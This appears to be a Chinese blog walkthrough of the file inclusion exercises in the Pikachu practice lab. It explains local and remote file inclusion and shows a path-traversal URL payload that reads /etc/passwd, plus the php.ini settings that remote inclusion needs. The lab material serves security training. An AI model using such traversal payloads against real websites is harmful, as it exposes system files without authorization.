pikachu靶场-File Inclusion

文件包含漏洞概述
在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简介,会使用”包含“函数功能。比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候就直接在文件头上写上一句<?php

include function.php>就可以调用函数代码。

但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能在使用了”包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。

这种情况我们称为“文件包含漏洞”;

1.File Inclusion(local)本地文件包含漏洞

选择人物,点击提交看一下结果

换另一个人物,发现url发生改变

http://xxx/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4#

http://xxx/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4#

 

可以看到此处有五个任务,但是如果我们输入6呢

http://xxx/vul/fileinclude/fi_local.php?filename=file6.php&submit=%E6%8F%90%E4%BA%A4#

 

可以看到作者留下的小彩蛋

我们可以利用这个漏洞读文件

http://xxx/vul/fileinclude/fi_local.php?filename=../../../../.././.././././././././././etc/passwd&submit=%E6%8F%90%E4%BA%A4#

 可以看到漏洞利用成功

2.File Inclusion(remote)远程文件包含漏洞

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。

远程包含漏洞的前提:如果使用的include和require,则需要php.ini配置如下(php5.4.34)

allow_url_fopen=on //默认打开

Allow_url_include=on //默认关闭
这个条件找在线靶场还挺久的,连靶场都不愿意开这个,说明危害很大,只好自己搭靶场了(先鸽了)

猜你喜欢

转载自blog.csdn.net/qq_29977871/article/details/130425488